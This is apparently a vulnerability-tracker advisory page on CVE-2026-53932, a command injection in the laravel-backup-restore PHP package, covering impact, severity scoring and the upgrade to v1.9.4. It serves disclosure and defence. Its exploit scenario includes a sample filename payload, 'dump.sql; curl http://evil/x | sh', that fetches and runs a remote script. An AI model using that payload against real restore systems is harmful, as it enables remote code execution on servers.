Skip to main content

laravel-backup-restore EUVDEUVD-2026-71722

| CVE-2026-53932 HIGH
Command Injection (CWE-77)
2026-07-09 https://github.com/stefanzweifel/laravel-backup-restore GHSA-w9mx-xmg4-gc4r
8.0
CVSS 3.1 · Vendor: https://github.com/stefanzweifel/laravel-backup-restore
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft ZIP with malicious db-dumps filename
  2. Delivery
    Deliver archive to restore source
  3. Exploit
    Operator or job triggers restore
  4. Execution
    Filename interpolated into shell command
  5. Persist
    Payload executed as app user
  6. Impact
    Application/database compromise and lateral movement

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that an operator or automation restore an attacker-controlled backup archive using laravel-backup-restore before v1.9.4 - the concrete prerequisite is attacker influence over the ZIP entry filename of a file placed under the db-dumps directory of the archive, and a database restore being invoked against that archive. The limiting factors are: user interaction is required (UI:R - the restore must actually be triggered by an operator or scheduled job), the attacker must get the malicious archive into the restore source, and it only fires on the database-restore code path (not on backup creation or normal application traffic). No target-side authentication of the attacker is needed beyond delivering the archive; the impact runs with the privileges of the PHP/Laravel application user performing the restore. This is exploitable against default configurations since there is no setting that disables the vulnerable path.

Impact

The published CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H, base 8.0) reflects genuine high technical impact (full C/I/A on the host as the app user) gated by required user interaction - an operator or automation must be induced to restore the malicious archive. This is a meaningful gate: the vulnerability is not self-triggering and depends on a trust boundary being crossed (restoring a backup from an untrusted or attacker-influenced source). No EPSS score, KEV listing, or POC was provided, so quantitative exploitation likelihood cannot be confirmed; the absence of KEV/POC suggests this is not currently subject to mass exploitation. The realistic risk is elevated in environments with automated restore pipelines that pull archives from shared or externally-writable storage, and lower where restores are manual and archives come only from a trusted internal source. Note the UI:R requirement means raw base score 8.0 overstates opportunistic remote risk - this is primarily a supply-chain/trust-of-backup issue rather than a drive-by network RCE.

Exploit ScenarioDerived

An attacker crafts a backup ZIP whose entry under db-dumps is named something like 'dump.sql; curl http://evil/x | sh' (or a $(...) payload), then gets it into a location an operator or automated pipeline will restore from - for example a shared backup bucket or a restore-on-upload feature. When the restore runs, the filename is interpolated into the shell import command and the injected payload executes as the Laravel application user. No public exploit code has been identified, but the payload construction is trivial given the AC:L rating.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.9% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 09, 2026

OS command injection in the wnx/laravel-backup-restore Composer package (fixed in v1.9.4) allows an attacker who can get a malicious backup archive restored to run arbitrary shell commands as the Laravel application user. The restore workflow interpolates an unescaped ZIP entry filename from the db-dumps directory directly into shell command strings (mysql, psql, sqlite3, gunzip) executed via Symfony Process::fromShellCommandline(), so shell metacharacters in the filename are interpreted by /bin/sh. No public exploit identified at time of analysis and the issue is not in CISA KEV, but the flaw is trivially exploitable once a crafted archive reaches the restore path.

RemediationAI

Primary fix: upgrade to laravel-backup-restore v1.9.4 or later (Vendor-released patch: v1.9.4), e.g. 'composer require wnx/laravel-backup-restore:^1.9.4' then redeploy. The vendor states there is no configuration flag that disables the vulnerable code path, so upgrading is the only complete fix. As interim compensating controls until you can upgrade: restore only backup archives originating from a trusted, integrity-verified source and never from user-supplied or externally-writable storage (trade-off: breaks workflows that ingest external backups); validate or reject ZIP entry filenames under db-dumps that contain shell metacharacters before invoking the restore (trade-off: requires custom code and may reject legitimately odd filenames); and run the restore process under a least-privileged, sandboxed OS account to limit blast radius if injection occurs (trade-off: does not prevent the injection, only contains it). Refer to advisory GHSA-w9mx-xmg4-gc4r for authoritative guidance.

Affected VersionsENISA

laravel-backup-restore < 1.9.4

Affected Packages

composer wnx/laravel-backup-restore fix: 1.9.4
euvd laravel_backup_restore fix: 1.9.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is a Laravel package (pkg:composer/wnx_laravel-backup-restore) that companions spatie/laravel-backup by handling database restore from backup ZIP archives. The root cause is CWE-77 (Command Injection): the restore routine enumerates files under db-dumps, resolves the dump to an absolute path, and builds import commands as raw shell strings such as 'mysql ... < {dumpFile}' or 'gunzip -c {dumpFile}'. Because Illuminate\Support\Facades\Process::run(string) delegates to Symfony's Process::fromShellCommandline(), the whole string is handed to the platform shell (/bin/sh on Unix, cmd/PowerShell on Windows) rather than executed as an argv array, so metacharacters ($(), ;, |, backticks) embedded in the attacker-controlled filename are evaluated. Importantly the injection is in the ZIP entry filename metadata, not in the SQL dump content, so it fires before any database import actually reads the dump.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/stefanzweifel/laravel-backup-restore) PRIMARY 8.0 HIGH
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Attacker supplies the archive so needs no target privileges (PR:N), but a restore must be triggered (UI:R); trivial payload crafting (AC:L) yields full code execution as the app user (C:H/I:H/A:H).

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/stefanzweifel/laravel-backup-restore).

CVSS VectorVendor: https://github.com/stefanzweifel/laravel-backup-restore

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

A crafted backup archive can trigger OS command injection during database restore. The restore workflow extracts a ZIP archive, enumerates files under db-dumps, converts the dump path to an absolute path, and passes that path into database import commands that are built as shell command strings.

The dump filename is not shell-escaped before it is interpolated into commands such as:

  • mysql ... < {dumpFile}
  • gunzip -c {dumpFile} / gunzip < {dumpFile}
  • psql ... < {dumpFile}
  • sqlite3 ... < {dumpFile}

Because Illuminate\Support\Facades\Process::run(string) uses Symfony Process::fromShellCommandline(), shell metacharacters in the dump filename are interpreted by /bin/sh on Unix-like systems or by the platform shell on Windows.

Impact

If an attacker can cause an operator or automation to restore a malicious backup archive, the attacker can execute arbitrary shell commands as the PHP/Laravel application user on the system performing the restore. This can lead to application compromise, database credential disclosure, tampering with restored data, and further lateral movement depending on deployment permissions.

This is not about malicious SQL inside the dump. The command injection is carried in the ZIP entry filename under db-dumps, before the dump content is imported.

Patches

The vulnerability has been fixed in v1.9.4 of the package.

Workarounds

There is no configuration option that disables the vulnerable code path. Upgrading to the patched release is the only complete fix.

Executive ViewAI

Why It Matters

The laravel-backup-restore Composer package contains a vulnerability in how it processes database backup files that could allow an attacker to execute arbitrary commands on your server infrastructure. Although no public exploit has been identified, the flaw is trivially exploitable once a malicious backup file is restored, making it a significant risk for organizations using this package in their database backup workflows.

Business Impact: High
Compensating Controls

Apply vendor patch: update laravel-backup-restore to version 1.9.4 or later.

Threat Intelligence Overview

EPSS Score
0.9%
Top 43% exploitable
Prevalence
Low
niche Laravel/Composer restore add-on for spatie backups, limited deployment
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.9%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

41
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy